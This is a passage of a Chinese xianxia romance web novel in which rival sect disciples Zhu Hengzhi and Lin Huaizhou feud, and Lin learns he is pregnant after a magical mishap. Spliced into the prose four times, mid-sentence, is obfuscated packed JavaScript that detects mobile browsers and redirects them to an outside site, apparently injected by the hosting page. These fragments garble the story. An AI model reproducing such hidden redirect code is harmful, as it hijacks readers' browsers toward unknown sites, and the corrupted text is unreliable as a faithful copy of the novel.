几乎同时,饮霜剑突然颤动,白光大作,似要往上切去,祝珩之立马闭眼,轰一声从底到头燃起火,瞬间化去冰霜,可一睁眼,剑却消失了。 祝珩之愣了一会儿,才反应过来,对着头顶掠过的一缕月白衣角喊:“耍我!” “是赢了你。”林淮舟嘴角微勾,飘若谪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379698|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙,往饭香四溢的膳堂方向去了。 “这算什么?林淮舟,比赛开始了我都不知道,为了赢也不带这么羞辱人的吧!等我手好了再比一场!” 说着,祝珩之脚下突然一软。 霍帆见状,迎上去扶他:“老大,你的手怎么回事?” “别谈了。”祝珩之不想多聊。 霍帆满脸怜悯,小心翼翼瞥了瞥下面,问道:“还在吗?” “什么?” “那个啊。”霍帆眼珠子移到那被剑刺破的裆部布料。 “……”祝珩之拿折扇敲了一下他脑袋,“这么想看我成太监?” 霍帆松了一口气,望着那笔直如松的白色背影,悄悄问道:“老大,你不会是……喜欢那个的吧?” “哪个哪个,话能不能明着说?”当着赤霄阁兄弟的面,祝珩之被死对头当靶子似的钉在门上,脸丢大发,本来心情就极差。 霍帆啧了一声:“喜欢男的呀。” 祝珩之正下阶梯,险些没站稳:“什么?你别给我乱说,若是传出去,我以后还怎么娶漂亮老婆?我怎么觉得你今天说话怪怪的?” “不是我,是他。”霍帆朝林淮舟韧瘦的背影扬了扬下巴。 祝珩之心里似乎有什么东西堵住,又用折扇敲了一下霍帆:“你了解他还是我了解他?连他朱砂痣长在右侧腰窝我都一清二楚,你知道个屁。” “不是,老大,我真觉得怪,你想想啊,你们之前打架要么打心口,要么打脸,哪有这般……的啊?况且,林淮舟清心寡欲,上一回,看见一对小猫舔嘴,都脸红半天,他怎么会当着这么多人的面直接用他最心爱的饮霜剑对准你……那里呢?多不害臊。” 祝珩之脚步一顿,沉吟片刻,折扇一拍掌心:“也对啊,霍帆,没想到,你脑子不错啊。” 霍帆挠挠头,嘿嘿笑了两声。 “不对啊,我不喜欢男的,更不可能喜欢他,他平白无故对我下如此狠手作甚?”祝珩之转念一想,这个理更讲不通了。 片刻,霍帆疑道,“对了,老大,你怎么知道他右侧腰窝有颗朱砂痣?” 6. 打入冷宫 “不对不对,男人怎么可能有腰窝?”这会子,霍帆反而上下打量祝珩之。 “这你就不了解吧……”祝珩之刚要把前因后果脱口而出,可脑子只闪过细细碎碎的香艳画面,至于何时何地何事,一片空白,如梦似幻。 霍帆问:“老大,你脸怎么红了?” “胡说!” 祝珩之思索半日,未得其果,喃喃自语奇道:“对啊,男人怎么会有腰窝?更何况,咳咳,就算林淮舟有,我又是怎么知道的?还知道那里有一颗朱砂痣?” 总感觉脑子空了一块,好像忘记了什么重要之事。 “就是……”祝珩之再次戛然而止。 他昨夜多次阻拦林淮舟捉拿狐妖,途中被一脚踹飞挂上树梢,然后……就想不起来了,反正一觉醒来,他后背和手臂满是小猫儿挠的抓痕。 “是什么?老大你发什么呆呢?” 祝珩之折扇掩唇,清咳两声。 虽说他当时只是想逗林淮舟玩,并非来真的,但这事说出来,显得有些猥琐,反倒觉得自己像个调戏男人的跟踪狂。 祝珩之又露出那一副轻佻的神色,用折扇敲了一下霍帆:“什么时候轮得到你来管我?” 霍帆嘿嘿两句,凑近小声道:“老大,听说倚香楼近日开了几坛五十年的女儿红,老大,要不今晚……带兄弟们去长长见识?” “不去,烦着呢。”不曾想,向来喜好寻欢作乐的祝珩之一口回绝,挥袖而去。 正在霍帆不知如何劝说之际,祝珩之脚步戛然而止,转身往返,勾肩搭背:“走,出去玩儿个七天七夜,费用小爷全包了,一天天看着那张臭脸,动不动就哑巴似的发脾气,小爷还不伺候呢,简直莫名其妙。" 说也奇怪,接下来将近一个月,祝珩之和林淮舟照常抬头不见低头见,可却再无交谈过一句话。 妄静仙尊等长老闭关修补地渊结界,将天留山交由林淮舟坐镇,一如代理掌门,一切事务按金规玉律行事,有条不紊,一切如常,在入关之前,妄静还担忧赤霄阁不愿听从林淮舟,可后来证明,他的忧虑形同多余。 没让祝珩之代理,赤霄阁弟子自然心里憋屈,觉得师尊偏心,便在林淮舟上任第一日就发起反抗,譬如故意晚到集会,譬如每日挥剑两千下的时候少数几百下,譬如亥时熄灯后集众打牌,譬如逃早课偷偷下山快活…… 每每寒水涧弟子向林淮舟举报死对头种种令人发指的事迹时,林淮舟几乎是微微颌首,答一个字“嗯”,神色犹如一滩死水。 实则,他治人的手段,雷厉风行,绝非常人所及。 因为,不听话的,都被他随地揍了一顿,然后鼻青脸肿断手断脚地灰溜溜求饶。 刚从倚香楼回来的霍帆一身酒气,捂着红肿如含蛋的脸道:“老大,你可要替我们做主啊,那林淮舟一脚把我牙都踹飞了。” 祝珩之歪躺于树枝上晒太阳晃悠那双大长腿,折扇盖脸,双手枕后脑,:“你就知足吧,他已经看在我的面子上,对你脚下留情了。” “我还得感谢他不成?!” “去吧孩子,认个错,没什么大不了的,脸皮不能当饭吃,否则,再有下回,你失去的,可不仅仅是一颗牙哟。” 霍帆还是气不过:“双腿长在我身上,他能奈我何?我想去哪儿就去哪儿!” 折扇翘起一角,露出祝珩之那笑吟吟的眼尾。 霍帆立即后背发麻:“难不成……他……他要断了我的腿?不行啊老大,老大快帮帮我。” 祝珩之懒洋洋翻了个身,仿佛置身事外的游仙:“他有你们一起玩儿,早就不理我了,我何必自讨没趣呢。” 说来也是,自打林淮舟代理事务以来,忙前忙后,就再也没有和祝珩之吵架打架了,整个天留山安静了特别多。 就连膳堂,也不似从前热闹,林淮舟在一旁食不言,就没人敢食有言。 膳堂宽敞明亮,左右两边分别摆着白菜豆腐萝卜丝、炸鱼辣鸡红烧肉等,尽头有一排及膝高的木桶,里面装着高低不一的白米饭和汤汤水水,中央拉开一条三四人宽的走道。 明明没有划清界限,明明皆是天留山子弟,左边却清一色白袍,右边一律黑衣。 这也是很让妄静头疼的一点,师出一门,分明应该是相亲相爱的一家人,却什么都要分清楚你的我的,弄得像不死不休的冤家。 祝珩之打好饭菜汤,随意找了个位置坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379699|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抬眼,便看见林淮舟 他周围三米内的长桌空无一人,遗世独立于靠窗处,慢条斯理地喝汤。 他手持调羹,以拇指、食指和中指轻捏匙柄中部,无名指与小指自然收拢,姿势格外标准,舀汤时,从碗边侧方而入,只舀七分满,略略低头,无声小咽。 这基本礼仪,祝珩之三岁时就有老管家教过,可他从来都是左耳听右耳出,喜欢怎么方便怎么来。 “矫情做作。”他嫌弃地嘀咕着,拿开调羹,抠住汤碗边缘,仰头骨碌骨碌,两口便见底。 囫囵擦了擦嘴,祝珩之眼尾一挑,端起饭菜,在众人诧异而静止的目光下大摇大摆坐在林淮舟对面,再礼貌热情问道:“这里没人吧?” 离他们最近的那一桌见鬼似的端起盘子就逃,有的嘴边还叼着一块滴油的红烧肉。 按照以往的经验判断,不出五句话,绝对会掀桌。 林淮舟眼皮掀也不掀,讲究地拿起一个白净的包子,左右掰开,豆沙馅饱满香甜。 祝珩之见他兀自咬向最中间的部位,一口下去,豆沙馅凹进去一小处,平口边缘变成月牙。 祝珩之看了林淮舟半天,后者就吃了一个包子,包子皮都没吃,喝了四勺白菜汤,忍着恶心夹了五小口白米饭,最后一口甚至还没咽下去,吐回了碗里,便开始抽出帕子擦嘴。 “午饭你就吃这么点?”祝珩之实在太难以理解,怎么会有人对食物这般冷漠? 林淮舟终于施舍般抬眼看他,淡蓝眸子一如既往结满冰霜:“你管太多。” 阳光柔软,只见林淮舟肤色和纯色更苍白如纸,原本恰到好处的腮肉此时微微凹陷,骨感更强,病气奄奄。 “到底谁管太多了?林淮舟,也不看看你自己累成什么鬼样了?” “你烦不烦?”林淮舟端起饭托起身,不曾想,眼前一黑,身子竟然摇晃起来。 祝珩之眼疾手快大步向前扶住他:“喂?” 鼻间忽而扑来一股子男人身上难以言喻的雄性气味,林淮舟下意识皱眉:“滚……” 手刚触到祝珩之胸口欲推开对方,可胃里翻江倒海,浪涛滚滚,林淮舟再也忍不住,埋进祝珩领口:“呕——” 7. 喜得一子 顿时,哐哐当当的膳堂寂静如深夜,所有人难得齐齐瞪大眼睛望向祝林二人,堂外,鸟叫了两声,膳堂又哐哐当当响起来 ——绝大部分人躲避即将爆发的灭世大战似的,刷一下躲外边了,只剩东倒西歪的桌椅和倒扣散落的碗盆筷。 不曾想,祝珩之丝毫未闪,而是握紧拳头,神色难以言喻地道:“……我有,这么令你恶心吗?” 却见林淮舟缓缓抬起头,脸色惨白几乎透明,干裂的嘴唇动了一下,几乎同时眼皮一盖,整个身子软了下去。 “大师哥!你怎么了?”宋敬疾步而来,及时扶住。 霍帆见祝珩之伸出去一半的手略显尴尬,手指曲了曲,顺势若无其事绕了一圈放在后脑勺。 祝珩之刚要开口说些什么,就被宋敬抢先一步指着鼻子:“祝珩之!你对大师哥做了什么?” 此话一出,四周白袍弟子齐齐拥了上来,气势汹汹像要吃人。 只听他无奈又无辜地摊开手:“我能做什么?他自己晕过去的,还吐了我一身,我找谁说理去?莫名其妙。你们寒水涧别老是抱团含血喷人,那要是他怀孕了,还得一口咬定说孩子他爹是我吗?” 宋敬绝不允许有人在他耳边说林淮舟任何不是,当下火从中来,喝道:“辱我辈者,不可饶恕,寒水涧弟子听令!” “不可……”此时,林淮舟施施然掀开眼,虚弱道:“去,去叫木青来一趟。” 木青谓谁?乃天留山医修,林淮舟从小到大的好友。 宋敬不明白林淮舟为何蓦然要叫木青,通常而言,修炼者有灵力调理身体,寻常病痛如呕吐头晕等可自治自愈,但宋敬并未多问,只点头应承:“是,大师兄。” 未多时,天际传来男人高高低低的尖叫:“啊啊啊啊嗷嗷嗷嗷——慢点慢点!我要摔死啦啊啊!” 咻——一抹亮白光芒以肉眼无法捕捉的速度穿梭云间,宋敬如松稳稳立于剑上,双手展开,眉头紧蹙:“木青前辈请抓稳,大师哥情况不太妙,得罪了。” 话音未落,剑身忽而直直骤降,擦过一片茂密翠绿的竹林。 “啊啊啊哦哦吼吼娘啊娘——” 待回过神来,木青已经踩着踏实的土地,一身青衫与四周绿竹融为一体,抬头前方,便是林淮舟远离人声而独居的竹苑。 “快快快,救人要紧,救人要紧。”木青以为林淮舟受了什么重伤才会这般焦灼万分,不顾鼻梁上掉了一半的琉璃镜,晕头转向,竟往门外疾步而去。 好在宋敬临走之前扳着他肩膀转过来,他才走对了方向,结果还被门槛绊了一下。 “你还是这么毛毛躁躁。”完好无损的林淮舟倚在床头捧着一杯清茶,呷了一口。 被这么一啐,木青眼神倒是清明了几分,他扶了扶鼻梁上的琉璃镜,三步并两步上前仔细检查所谓情况不妙的林淮舟,片刻,双手抱胸往床沿一坐:“好你个林清也,耍我呢?” “咳咳,我近来……身体确实抱恙。”林淮舟放下茶杯,一向成仙似的毫无波澜的脸庞难得浮现寻常人的苦闷。 任谁看了他都不像病人,木青不以为意,抖着腿,格外随意回道:“你又没下山捉妖,也没和祝珩之打架,身体能出什么岔子?” 林淮舟突然沉默。 “不说是吧?那我走了。”说着,木青起身即去。 “等等。” “不是,你到底想说什么?” 他冒着心脏骤停的风险坐上宋敬的剑来给林淮舟看病,结果病人却支支吾吾,说一句藏一句,换做别的医修,早就骂骂咧咧了。 “我……有点犯恶心,这几天。” “你天生圣体,百毒不侵,百病不害,还饮食清淡,作息规律,好端端的怎么会恶心?”木青显然一万个不信。 不知什么触到了林淮舟,却见他神色越发复杂,半日不言。 “你又冷落我。” 风过竹林,沙沙作响,犹如围观群众低声细语。 林淮舟抿了抿唇,道:“……还吐了。” “那一天能吐几回啊?你又不是孕妇。”木青不以为意,随手给自己倒了杯茶。 林淮舟脸色越发沉下去,欲言不言,手指无意间拽住被子,抓出条条皱痕:“少则,三四回,多则……九、十回,不止。” “噗——”木青含在嘴里的茶喷出三米远,还呛了几口,“什么?” 林淮舟心神不宁道:“而且,我灵力有些运转不起来,总觉得好像有什么东西在和我对抗,甚至,好像在试图把我的灵脉引向……这里。” 木青顺着他伸出的手指看去,那是他腹部往下的位置。 众所周知,修道者之灵脉,乃灵力之源,一般走势往上,瞬息可调,怎么可能会往反方向走? 除非……有灵气之物寄生。 一阵微风灌入,分明是温暖的初夏,木青却生生打了个寒颤。 “手给我。”木青拨走林淮舟袖口的衣料,三指搭脉,敛思沉吟。 林淮舟脸色本就苍白,此时眉宇间添了点惨灰色,可依旧气定神闲,兵来将挡水来土掩的凌厉之气丝毫不减。 须臾,木青搭脉的手指瞬间弹开,好似林淮舟的皮肤堪比火焰山般滚烫。 “如何?” 震惊过后,木青先是质疑地打量他一番,而后陷入深深的迷惑,喃喃道:“不可能啊,怎么可能?” “若得了不治之症,也无妨,好给我多点时间安排后事,尽量不影响师尊闭关。”林淮舟往后仰,闭了闭眼。 “说什么呢你?”木青瞪了他一样,搓搓手,控制不住颤巍巍,再次搭脉,片刻,两个黑眼珠子险些没掉下来:“不会吧,清也,你……你怀孕了!?” 林淮舟登时睁眼,木刻般的五官瞬间突破阻力拧在一起:“怀?孕?” 木青也陷入自我怀疑,抓抓头发:“对啊,脉象说的,可这也太离谱了吧!男人怎么会怀孕?一定是哪里出错了,一定是。” 相对而言,林淮舟淡定许多:“你从不会误诊。” “可……你是男人啊……”木青如今思绪很乱,思来想去,只有一个可能:“难道,你是姑娘身?可我们从小一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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木青脑子嗡嗡听完后,眼睛瞪如铜铃,嘴巴自始至终张得比烧饼还大:“你是说,他爹是你那个斗生斗死的死对头,姓祝名珩之,天留山千年老二,整日骚里骚气拽得二五八万的赤霄阁那位?祝珩之?” “嗯。”林淮舟明明在回顾自身惨况,口吻却沉稳至极,仿佛在讲别人的故事。 进合欢门者,双修破死局,遑论男女,必有孕者。 后两句也是林淮舟适才想起来的,否则,即便当时祝珩之怎么挑衅他,激怒他,他也绝不会那般沉不住气。 真真一时大意,后患无穷。 木青蹭的站起来:“不行,清也,那臭男人他必须负责到底,放一炮就拍屁股走人?简直是没心没肺的狗玩意儿!” “不必多此一举,纯属意外罢了,你帮我拿掉这个胎儿,就当没发生过吧。” “确实,这也是个办法,”木青嘶了一声,略显为难道:“不过,清也,要拿掉他,有点难办。” “为何?” 8. 王要见王 “你也发现了,如今,你的灵脉已经开始往腹部盘生,其实就是胎儿在吸取你的灵力,倘若强行剥去,你不仅会灵脉受损,还极有可能扯断你的灵根,你知道,灵根一断,你多年的修炼会全部白费。” 木青继续道:“大概三个月后,便是七月十四,中元节,鬼妖出没横行,而你是圣体之身,自带的至纯至净之气却在这日最为旺盛,灵脉最为强壮,将其与胎儿剥离,可保伤损最小,灵根足以毫发无伤。” 林淮舟眼睫轻颤,仿佛看到了希望。 “不过嘛,还差一个人,”木青顿了顿,道:“一个能在你流胎之时护法的人。” 林淮舟并不感到惊奇,流胎一事会引起灵气波动,中元节妖鬼猖狂,定然会顺着气息寻来,滋生事端,木青是医修,法术本就薄弱,还需替他引胎,更不能一心不能二用,他又如同躺在砧板上的鱼肉,此时,便需要第三个人相助,最好是能以一挡万的法力高强者。 “放眼整个修真界,还真找不出第二个了,就是……”木青一边觑着林淮舟,一边欲言又止。 “祝珩之,对吗?”他不咸不淡道。 木青没想到林淮舟居然能如此冷静说出这个名字,总觉得他现在沉静得可怕,好似一片深不见底的海渊,木青只敢打量着那张如暴风雨来临前无比平静的美貌,点头不敢,摇头也不敢。 须臾,他嘴巴还是没有刹住车:“清也,要不,把这事儿跟他说了?这个孩子他有一半的责任啊,抛妻弃子,甩手掌柜,真不是男人。” 林淮舟沉吟不语。 木青连忙扶了扶鼻梁上的琉璃镜,僵笑道:“我我我这也是建议,随口说的,别当真哈哈哈。” 孰料,林淮舟深深看了他一眼,不知在想什么,居然点了点头:“嗯。” 仙家百名榜上,除了久居第一的林淮舟,那便轮到崭露头角的新秀——祝珩之。 说实话,祝珩之与他师出同门,为了天留山名声,总不至于会把他怀孕之事抖露得天下皆知,顶多信誓旦旦掌握了死对头的把柄,时不时在他耳边贱兮兮风凉两句,或是邀功领赏、摇着尾巴求夸夸这些稚儿行为,只要他左耳进右耳出,随口敷衍一下,其实没什么损失。 此事如同人类返祖天地颠倒般不可思议,又如海啸似的迅猛而至,打得林淮舟有些措手不及,他惯于三思而后行,可此时脑子乱如麻线,不知从哪头抓起才最好,只能摁着沉重如铁的额角。 “不过话说回来,清也,你打算何时与祝珩之坦白?” 竹苑清静,叶落无声。 “容我再思量思量吧。” 林淮舟往后仰去,枕头压出一道道交错的布褶,恍惚中,似柔水般漾开波纹,飘荡酒气。 “这五十年的女儿红就是不一样啊!”霍帆仰头一饮而尽,餍足喟叹道。 倚香楼顶层金碧辉煌的包厢内,几位赤霄阁弟子也喝得双眼微眯,啧啧称赞,纷纷感激一旁埋头扒拉一大碟鲜红油亮的红烧肉。 霍帆与他人对了一下眼神。 自从中午在膳堂被林淮舟吐了一身后,霍帆便觉得祝珩之有些怪异。 说是和兄弟们来倚香楼吃酒快活,赏乐舒心,实则手边的酒杯空空,壁沿干燥,也不似以前那般尽情点曲,没心没肺地揶揄姑娘。 霍帆试图开解道:“老大,等我们回去,就去寒水涧替你讨个理儿,吐了人一身,就拍拍屁股走人?当他是师尊亲点的大师哥就可以平等无视所有人了?我呸!” “谁要你去找他?”祝珩之终于从碗里抬起脸。 “不是,老大,你不是向来仇不过夜以牙还牙吗?什么时候这么能忍了?您……家里出事儿啦?”霍帆小心翼翼问道。 祝珩之一脸晦气拍了他脑袋:“喝你的酒去,别在这儿烦我。” 须臾,祝珩之把脸凑过去,无端端问在场的人:“我是不是变丑了?” 众人面面相觑,片刻,齐齐摇头。 “没理由啊,他早不吐晚不吐,偏偏看到我的时候就吐,肯定是我的问题。”祝珩之摸着下巴嘀咕道。 霍帆险些没把口中的酒喷出来:“老大,您才是受害者,问题怎么可能出现在你身上?” 祝珩之煞有介事反问:“那他为什么一看见我就吐?” 修道之人不会同常人那般会生病呕吐,更遑论道行高深的林淮舟,霍帆指甲都挠出了一层头皮屑,破罐子破摔道:“他要是怀孕呢?对吧?吐就很正常啊,我们赤霄阁那些经历了双修的女修,怀孕都是这样的,嗯,没错,就是这样。” 祝珩之嘴角抽搐:“你也知道那些是女修。” 霍帆完全给自己逼上无法解释的死路,干脆道:“老大,都出来玩了,就别想着那林淮舟了,高兴一点,要不要叫个姑娘来给您弹首曲子助助兴?” 祝珩之一撂筷子:“也成,不想了,去他娘的。” “嗡——嗡——”适时,祝珩之腰间玉牌轻微震动,发出莹莹蓝光。 玉牌,通身透明如泉,以笔锋如水的“天”字为形,是天留山弟子互相通讯的法器,一人一个,随身佩于腰间。 每人的拜师仪式最后一个环节,便是将自身丁点灵波注入玉牌,自命口令,若想联系对方,捏诀默念那人特定的口令即可传达讯息。 当下众人齐齐征然——感知到了一股疏冷寒清的雪意,独属某人的灵波。 “戌时,竹苑。”林淮舟冷峻透骨的声音从玉牌中传出,似乎在咬牙握拳地压住某种冲天的怒火。 祝珩之顿了顿,掏了掏耳朵,狐疑地指指自己腰间,问霍帆:“这是我的玉牌?” 霍帆呆呆点头:“啊。” 祝珩之墨瞳微闪,不知想到什么,忽而拍腿狂笑:“林淮舟啊林淮舟,想不到你也有今天啊。” 霍帆及周围的人:“?” “你们不知道,我特意啊,给林淮舟设定了一个非常好念的口令。”祝珩之笑得捂住抽痛的腹部。 修为高者,可以在玉牌上针对不同的人命定不同的口令。 可此时,霍帆一行人却丝毫没有想要追问的欲望,而是一脸忧虑:“老大,这月黑风高的,他独独约你去他屋舍,不会是要杀人灭口吧?” 祝珩之笑声戛然而止:“什么意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379701|184093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思?” “啧,老大你也不想想,他修为这么高,脾气又傲,却突然像个柔弱不堪的孕妇在你面前出丑,他肯定会认为,你以后会不停拿这件事取笑他,他便转念一想,与其被你牵着鼻子走让自己下不来台,倒不如,趁早秘密地把你……”霍帆神色诡异地以手作刃抹上祝珩之脖子。 祝珩之一把推开他:“去去去,我哪有这么贱?我是那样的人吗?” 周围的人以“你就是这种人“的眼神沉默看着他。 祝珩之眼神飘忽呷了一口酒,刚长好的肋骨隐隐发痛。 上个月的清谈会,林淮舟入座时,不小心被椅子腿绊了一下,雅正的身姿稍稍歪了一点,其实绝大多数人都没看出来,自然,除了自打死对头入场就像盯猎物似的的祝珩之。 他实在没见过那种表情的林淮舟,简直无法形容,一不小心笑得喷出嘴里的茶水,因此所有人的注意力都转移过去,以至于看见了腰背微斜耳尖染红的林淮舟。 清谈会期间,他多次起身敬茶,有意无意学着林淮舟被绊倒的姿态,每模仿一次,便要挑衅般觑向以喝茶掩盖杀人眼神的林淮舟,孰不知,那含着胭脂红的清冷眉眼,更教他舒爽大乐。 结束后,林淮舟以请教问题为由,在众人面前言笑晏晏不失礼仪,请他移步至一旁密林,结果,一阵树摇地动,他被一腿子踢飞,生生断了三条肋骨,像狗一样趴地不起。 记忆不堪回首,祝珩之没好气地摘了玉牌,扔在一旁,道:“他让我去就去,他谁啊?这么大面子,寻人见面,也没点诚意,天天就知道使唤人,来来来,斟酒,今晚不醉不归。” 霍帆举杯应和道:“就是,吐了老大一身的事儿还没算帐,呼之则来,挥之则去,当我们老大是他的狗吗?” 祝珩之:“……” 酒过三巡,夜色微凉,眼看着戌时将至。 霍帆正喝得起兴,微醺的余光中,祝珩之骤然起身,喝茶漱口,又含了两颗清甜的梅饯。 “老大你去哪儿?”霍帆眼神迷离问。 祝珩之转身即走,抬手挥挥,懒洋洋道:“上个茅房。” 银月如盾,碎银敲地,一颀长身影飒飒穿梭半明半暗的竹林间,足底着地,衣袂翻飞,悄无声息。 竹苑灯火通明,正门大敞。 来者抬头望月,纹丝不动,待月梢挂枝,才屈尊降贵抬步迈槛,正好,林淮舟书案前的沙漏刚流毕,戌时堪至。 祝珩之伸伸懒腰打哈欠,大马金刀坐在案前藤椅,眼皮往下遮住过半墨瞳:“师哥若要为今日之事道歉,奉杯热茶,我自当大肚不谈。” 对面,林淮舟气定神闲,眉宇冷秀,脸颊透着淡淡的苍白,正执笔书写《清心经》,落笔稳中生风,清丽典雅。 祝珩之见他埋头苦默,久久不言,忽而又想到霍帆说他就像林淮舟一只呼来唤去的狗,顿时莫名火起:“你到底想干什么?林淮舟,我在给你一个道歉的机会。” 笔杆骤停,成团的墨水在宣纸上失控晕开,林淮舟抬起冰封湖水般的蓝眸,后牙槽绷紧:“到底谁该对谁道歉?祝珩之,你要点脸吗?” 9. 1v1座谈 祝珩之气笑道:“林淮舟,你别老是一副高高在上所有人都得围着你转的样子,是,你确实挺漂亮的,有时候我色欲熏心眼瞎了将就你几次,把你这么个臭脸捧上天去,也挺贱的,但这一次,我可决不让步,你一日不道歉,我便一日不让你安生,走着瞧吧,看谁熬得过谁。” 祝珩之说着,双手撑在书案上,宽厚的背部微拱,俯视着同样毫不畏怯迎视的林淮舟。 竹叶簌簌,从窗外飘进,清新的草木芬芳混合着屋内淡雅高洁的芙蓉冷香。 一叶落案,林淮舟遽然起身,绕出书案,站在离祝珩之半米外之处,微微挑起的凤目直直勾住对方,脚步缓缓靠近,同时修长洁净的手指一点一点扯开腰带,外衣堆地,薄薄的里衣虚虚挂在瘦薄挺拔的肩膀上。 凄白的月光从他身后透出,犹如一把利刃,雕琢出一条姣好的黑色弧线,从胸部起伏至胯骨,一如诱不自知的连绵山峦。 不知是什么促动祝珩之咽了咽口水,实在靠得太近了,冷梅香不断戏弄他鼻子,他下意识往后退了退:“林淮舟你堕落了啊,别以为搞这一套就可以免罪,我这个人意志力格外坚强,我劝你还是死了这条心。” 林淮舟挑挑眉,素白的手指搭上里衣的扣子,泛粉的指甲朝内一抠。 祝珩之立马捂住眼睛,胸口莫名其妙烧起一团熊熊大火。 “睁开。” “不要。” “我不想说第二遍。” 祝珩之在男人胜负欲的深潭中挣扎着,还是屈从了好色之心,他先是岔开指缝,窥见了一个雪白反光的优美蝴蝶骨,呼吸陡然一滞,然后便不受控般放下两只手,瞪大眼睛眨也不眨。 与此同时,脑子像挨了一顿毒打,隐约闪过一道电光,从前某个香艳美梦再次稀零八碎如现眼前,雪白透红的肌肤、姣好的背线、浑圆的臀部、腰窝处那颗性感红痣……仿佛与眼前美画合二为一。 “看清楚了吗?” 待他缓过疼,再次睁眼时,林淮舟已经在慢条斯理系好腰带,长衣宽袖,风雅端庄。 “什么?”祝珩之晃晃沉重的脑袋,宛若大梦一场,眼睛还未聚焦。 “啪——” 祝珩之的头被狠狠扇歪,这一响亮的巴掌来得太猝不及防,他完全没有准备,整个人被那股劲儿推回藤椅上转圈圈 “你怎么又打人?还讲不讲理了你?莫名其妙。”祝珩之的脸像眼睛泡进辣椒水似的火辣辣疼,任由脾气再好之人也受不了。 林淮舟神色更冷,毫不犹豫抬手朝另一边脸又扇了一巴掌,一把揪住他衣领,一手咔嚓一声翻折他右手食指,冰眸逼近:“睁大你的狗眼看清楚,从我身上拿走的这半颗朱砂痣,到底算什么?” 但见被林淮舟狠狠掐白的食指中节侧方,不知何时浮起一个绿豆大小的殷红印记,似痣,边缘却不规则,深浅不一,犹如被乌云随意咬了几口的圆月。 祝珩之锁眉纳闷:“这是……你的朱砂痣?” 毋庸置疑,无人不知寒水涧弟子身上的朱砂痣转移到另一个男人身上意味着什么. 要么,睡了别人,要么,被别人睡了。 片刻,祝珩之似乎想到了什么,大惊失色自言自语:“那个梦居然是真的……太不可思议了。” 林淮舟脸色从未晴过:“若非因为你,我早就将白狐收入囊下,又怎会一时大意被关进合欢门?又怎会……一切都是因为你,祝珩之!” 说着,啪——林淮舟扬手一耳光扇过去,他不清楚自己用了多大的力气,但他能明显感受到,胸腔里淤堵的怨气怒气几乎消散一大半。 而祝珩之整个人被扇到三米之外,半个身子扶着桌子,脚下还撞翻了两张椅子,嘴角丝滑流出一行鲜血。 “抱歉师哥,我真不知道那狐妖居然还会开启上古禁制,真不是故意的,我只是想和你公平竞争而已,真不是故意图你身子的,而且门里面的羡情花,一下子就扰乱了我的心智,又奈何师哥美若天仙,倾国倾城,玉树临风……” “我有了,”林淮舟平静而清晰截道,“你的。” 竹苑忽而静可闻针,燕子扑朔翅膀立于窗下,乌溜溜的眼睛好奇盯着原地石化后嘎查一声裂成粉末的祝珩之。 还未等祝珩之用水把自己的躯干黏和起来,打结的舌头更是还没捋直,林淮舟已绕回书案,继续执笔,专注默写《清心经》,朗朗如月,从容淡定。 “怎么可能?你是男人,怎么会怀孕?”祝珩之空白的脑子嗡嗡叫,这这那那憋了半天,才发出抖如筛子的声音。 林淮舟白了他一眼:“白痴,说你读书少吧,那是合欢门,必会有人怀孕。” 祝珩之抓抓头发:“什么鬼玩意儿啊?这么邪门。” “事已至此,我只要你做一件事。” “我愿意。”祝珩之虽说得郑重其事,但那天生含笑的眉眼却总给人一种不靠谱的气质。 林淮舟扶额,喝了一口清茶:“你能不能等我把话说完?” 祝珩之视线若有若无在对方平坦如往的腹部逡巡,神色难得正经:“你喝惯了浓茶,却改喝淡茶,是因为这个孩子吗?” 林淮舟抿唇不语。 “你不想要这个孩子,是不是?” “我有留下他的必要吗?”林淮舟反问道。 也对,水系术法的修士讲究清静灭欲,一旦怀孕,乃修真界大忌,如若事情败露,轻则逐出师门,重则废除修为,永世不得修炼。 林淮舟毕生追求人剑合一,登仙造极,怎会因为阴差阳错之下怀了死对头的孩子而放弃一生信仰?辜负妄静仙尊呕心沥血培养他数十载的苦心?又怎对得起黎民百姓奉他为人间正义的表率? “好,你需要我做些什么?我都可以负责。”祝珩之道。 祝珩之难得没有伶牙俐齿地抬杠,冷不丁让林淮舟愣了一下,不过也就那么浮光片影而已。 